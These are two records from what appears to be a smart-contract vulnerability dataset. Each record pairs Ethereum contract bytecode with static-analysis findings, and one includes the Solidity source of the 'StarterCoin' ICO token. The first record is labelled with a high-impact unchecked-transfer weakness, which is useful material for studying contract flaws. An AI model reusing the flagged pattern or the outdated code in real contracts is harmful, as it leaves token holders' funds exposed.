0381358116916020013516610be7565b610243600480360360208110156104fb57600080fd5b50356001600160a01b0316610c12565b61020c610d0b565b60038054604080516020601f600260001961010060018816150201909516949094049384018190048102820181019092528281526060939092909183018282801561059f5780601f106105745761010080835404028352916020019161059f565b820191906000526020600020905b81548152906001019060200180831161058257829003601f168201915b5050505050905090565b60006001600160a01b0383166105be57600080fd5b3360008181526001602090815260408083206001600160a01b03881680855290835292819020869055805186815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a350600192915050565b60095481565b60025490565b610639610d2a565b6008546001600160a01b03908116911614610689576040805162461bcd60e51b81526020600482018190526024820152600080516020610f53833981519152604482015290519081900360640190fd5b600755565b6001600160a01b03831660009081526001602090815260408083203384529091528120546106bc9083610d2e565b6001600160a01b03851660009081526001602090815260408083203384529091529020556106eb848484610d43565b6001600160a01b0384166000818152600160209081526040808320338085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060019392505050565b60055460ff1690565b60006001600160a01b03831661076f57600080fd5b3360009081526001602090815260408083206001600160a01b038716845290915290205461079d9083610d11565b3360008181526001602090815260408083206001600160a01b0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b61080a610d2a565b6008546001600160a01b0390811691161461085a576040805162461bcd60e51b81526020600482018190526024820152600080516020610f53833981519152604482015290519081900360640190fd5b6001600160a01b03919091166000908152600660205260409020805460ff1916911515919091179055565b6001600160a01b031660009081526020819052604090205490565b6108a8610d2a565b6008546001600160a01b039081169116146108f8576040805162461bcd60e51b81526020600482018190526024820152600080516020610f53833981519152604482015290519081900360640190fd5b6008546040516000916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600880546001600160a01b0319169055565b61094a610d2a565b6008546001600160a01b0390811691161461099a576040805162461bcd60e51b81526020600482018190526024820152600080516020610f53833981519152604482015290519081900360640190fd5b60005b8151811015610a4657306001600160a01b031663a9059cbb8383815181106109c157fe5b60200260200101516009546040518363ffffffff1660e01b815260040180836001600160a01b0316815260200182815260200192505050602060405180830381600087803b158015610a1257600080fd5b505af1158015610a26573d6000803e3d6000fd5b505050506040513d6020811015610a3c57600080fd5b505060010161099d565b5050565b60066020526000908152604090205460ff1681565b610a67610d2a565b6008546001600160a01b03908116911614610ab7576040805162461bcd60e51b81526020600482018190526024820152600080516020610f53833981519152604482015290519081900360640190fd5b600955565b6008546001600160a01b031690565b60048054604080516020601f600260001961010060018816150201909516949094049384018190048102820181019092528281526060939092909183018282801561059f5780601f106105745761010080835404028352916020019161059f565b610b34610d2a565b6008546001600160a01b03908116911614610b84576040805162461bcd60e51b81526020600482018190526024820152600080516020610f53833981519152604482015290519081900360640190fd5b610a468282610e91565b60006001600160a01b038316610ba357600080fd5b3360009081526001602090815260408083206001600160a01b038716845290915290205461079d9083610d2e565b6000610bde338484610d43565b50600192915050565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b610c1a610d2a565b6008546001600160a01b03908116911614610c6a576040805162461bcd60e51b81526020600482018190526024820152600080516020610f53833981519152604482015290519081900360640190fd5b6001600160a01b038116610caf5760405162461bcd60e51b8152600401808060200182810382526026815260200180610f2d6026913960400191505060405180910390fd5b6008546040516001600160a01b038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600880546001600160a01b0319166001600160a01b0392909216919091179055565b60075481565b600082820183811015610d2357600080fd5b9392505050565b3390565b600082821115610d3d57600080fd5b50900390565b6001600160a01b038216610d5657600080fd5b6001600160a01b03821660009081526006602052604090205460ff16610de5576007546001600160a01b038316600090815260208190526040902054610d9c9083610d11565b1115610de5576040805162461bcd60e51b815260206004820152601360248201527215d85b1b195d08131a5b5a5d08115e18d95959606a1b604482015290519081900360640190fd5b6001600160a01b038316600090815260208190526040902054610e089082610d2e565b6001600160a01b038085166000908152602081905260408082209390935590841681522054610e379082610d11565b6001600160a01b038084166000818152602081815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b6001600160a01b038216610ea457600080fd5b600254610eb19082610d2e565b6002556001600160a01b038216600090815260208190526040902054610ed79082610d2e565b6001600160a01b038316600081815260208181526040808320949094558351858152935191937fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929081900390910190a3505056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f20616464726573734f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572a26469706673582212201551d2270cd2801ec39e652938da7b9880068cc2f4b35c961f5eb0fba36c7a5564736f6c634300060c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
| 6,398 |
0x9a005c9a89bd72a4bd27721e7a09a3c11d2b03c4
|
pragma solidity ^0.4.13;
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract LimitedTransferToken is ERC20 {
/**
* @dev Checks whether it can transfer or otherwise throws.
*/
modifier canTransfer(address _sender, uint256 _value) {
require(_value <= transferableTokens(_sender, uint64(now)));
_;
}
/**
* @dev Checks modifier and allows transfer if tokens are not locked.
* @param _to The address that will receive the tokens.
* @param _value The amount of tokens to be transferred.
*/
function transfer(address _to, uint256 _value) canTransfer(msg.sender, _value) public returns (bool) {
return super.transfer(_to, _value);
}
/**
* @dev Checks modifier and allows transfer if tokens are not locked.
* @param _from The address that will send the tokens.
* @param _to The address that will receive the tokens.
* @param _value The amount of tokens to be transferred.
*/
function transferFrom(address _from, address _to, uint256 _value) canTransfer(_from, _value) public returns (bool) {
return super.transferFrom(_from, _to, _value);
}
/**
* @dev Default transferable tokens function returns all tokens for a holder (no limit).
* @dev Overwriting transferableTokens(address holder, uint64 time) is the way to provide the
* specific logic for limiting token transferability for a holder over time.
*/
function transferableTokens(address holder, uint64 time) public constant returns (uint256) {
return balanceOf(holder);
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
uint256 _allowance = allowed[_from][msg.sender];
// Check is not needed because sub(_allowance, _value) will already throw if this condition is not met
// require (_value <= _allowance);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
/**
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
*/
function increaseApproval (address _spender, uint _addedValue)
returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue)
returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(0x0, _to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() onlyOwner public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract StarterCoin is MintableToken, LimitedTransferToken {
string public constant name = "StarterCoin";
string public constant symbol = "STAC";
uint8 public constant decimals = 18;
uint256 public endTimeICO;
address public bountyWallet;
function StarterCoin(uint256 _endTimeICO, address _bountyWallet) {
endTimeICO = _endTimeICO;
bountyWallet = _bountyWallet;
}
function transferableTokens(address holder, uint64 time) public constant returns (uint256) {
// allow transfers after the end of ICO
return (time > endTimeICO) || (holder == bountyWallet) ? balanceOf(holder) : 0;
}
}
|
0x6060604052600436106101065763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166305d2035b811461010b57806306fdde0314610132578063095ea7b3146101bc57806310ef0ac7146101de57806318160ddd1461020357806323b872dd14610216578063313ce5671461023e57806340c10f1914610267578063661884631461028957806370a08231146102ab5780637d64bcb4146102ca5780638da5cb5b146102dd57806395d89b411461030c578063a9059cbb1461031f578063d347c20514610341578063d73dd6231461036d578063dd62ed3e1461038f578063e5760520146103b4578063f2fde38b146103c7575b600080fd5b341561011657600080fd5b61011e6103e8565b604051901515815260200160405180910390f35b341561013d57600080fd5b610145610409565b60405160208082528190810183818151815260200191508051906020019080838360005b83811015610181578082015183820152602001610169565b50505050905090810190601f1680156101ae5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101c757600080fd5b61011e600160a060020a0360043516602435610440565b34156101e957600080fd5b6101f16104ac565b60405190815260200160405180910390f35b341561020e57600080fd5b6101f16104b2565b341561022157600080fd5b61011e600160a060020a03600435811690602435166044356104b8565b341561024957600080fd5b6102516104e7565b60405160ff909116815260200160405180910390f35b341561027257600080fd5b61011e600160a060020a03600435166024356104ec565b341561029457600080fd5b61011e600160a060020a036004351660243561060a565b34156102b657600080fd5b6101f1600160a060020a0360043516610704565b34156102d557600080fd5b61011e61071f565b34156102e857600080fd5b6102f06107a4565b604051600160a060020a03909116815260200160405180910390f35b341561031757600080fd5b6101456107b3565b341561032a57600080fd5b61011e600160a060020a03600435166024356107ea565b341561034c57600080fd5b6101f1600160a060020a036004351667ffffffffffffffff60243516610817565b341561037857600080fd5b61011e600160a060020a036004351660243561085b565b341561039a57600080fd5b6101f1600160a060020a03600435811690602435166108ff565b34156103bf57600080fd5b6102f061092a565b34156103d257600080fd5b6103e6600160a060020a0360043516610939565b005b60035474010000000000000000000000000000000000000000900460ff1681565b60408051908101604052600b81527f53746172746572436f696e000000000000000000000000000000000000000000602082015281565b600160a060020a03338116600081815260026020908152604080832094871680845294909152808220859055909291907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a350600192915050565b60045481565b60005481565b600083826104c68242610817565b8111156104d257600080fd5b6104dd8686866109d4565b9695505050505050565b601281565b60035460009033600160a060020a0390811691161461050a57600080fd5b60035474010000000000000000000000000000000000000000900460ff161561053257600080fd5b600054610545908363ffffffff610afe16565b6000908155600160a060020a038416815260016020526040902054610570908363ffffffff610afe16565b600160a060020a0384166000818152600160205260409081902092909255907f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d41213968859084905190815260200160405180910390a282600160a060020a031660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405190815260200160405180910390a350600192915050565b600160a060020a0333811660009081526002602090815260408083209386168352929052908120548083111561066757600160a060020a03338116600090815260026020908152604080832093881683529290529081205561069e565b610677818463ffffffff610b0d16565b600160a060020a033381166000908152600260209081526040808320938916835292905220555b600160a060020a0333811660008181526002602090815260408083209489168084529490915290819020547f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925915190815260200160405180910390a35060019392505050565b600160a060020a031660009081526001602052604090205490565b60035460009033600160a060020a0390811691161461073d57600080fd5b6003805474ff00000000000000000000000000000000000000001916740100000000000000000000000000000000000000001790557fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0860405160405180910390a150600190565b600354600160a060020a031681565b60408051908101604052600481527f5354414300000000000000000000000000000000000000000000000000000000602082015281565b600033826107f88242610817565b81111561080457600080fd5b61080e8585610b1f565b95945050505050565b60006004548267ffffffffffffffff1611806108405750600554600160a060020a038481169116145b61084b576000610854565b61085483610704565b9392505050565b600160a060020a033381166000908152600260209081526040808320938616835292905290812054610893908363ffffffff610afe16565b600160a060020a0333811660008181526002602090815260408083209489168084529490915290819020849055919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591905190815260200160405180910390a350600192915050565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b600554600160a060020a031681565b60035433600160a060020a0390811691161461095457600080fd5b600160a060020a038116151561096957600080fd5b600354600160a060020a0380831691167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600080600160a060020a03841615156109ec57600080fd5b50600160a060020a03808516600081815260026020908152604080832033909516835293815283822054928252600190529190912054610a32908463ffffffff610b0d16565b600160a060020a038087166000908152600160205260408082209390935590861681522054610a67908463ffffffff610afe16565b600160a060020a038516600090815260016020526040902055610a90818463ffffffff610b0d16565b600160a060020a03808716600081815260026020908152604080832033861684529091529081902093909355908616917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9086905190815260200160405180910390a3506001949350505050565b60008282018381101561085457fe5b600082821115610b1957fe5b50900390565b6000600160a060020a0383161515610b3657600080fd5b600160a060020a033316600090815260016020526040902054610b5f908363ffffffff610b0d16565b600160a060020a033381166000908152600160205260408082209390935590851681522054610b94908363ffffffff610afe16565b600160a060020a0380851660008181526001602052604090819020939093559133909116907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9085905190815260200160405180910390a3506001929150505600a165627a7a723058201a866bcb83602519c2f6ae8d1e5911eed2afa5b4728111d8e2e75b8fb5b4093a0029
|
{"success": true, "error": null, "results": {}}
| 6,399 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.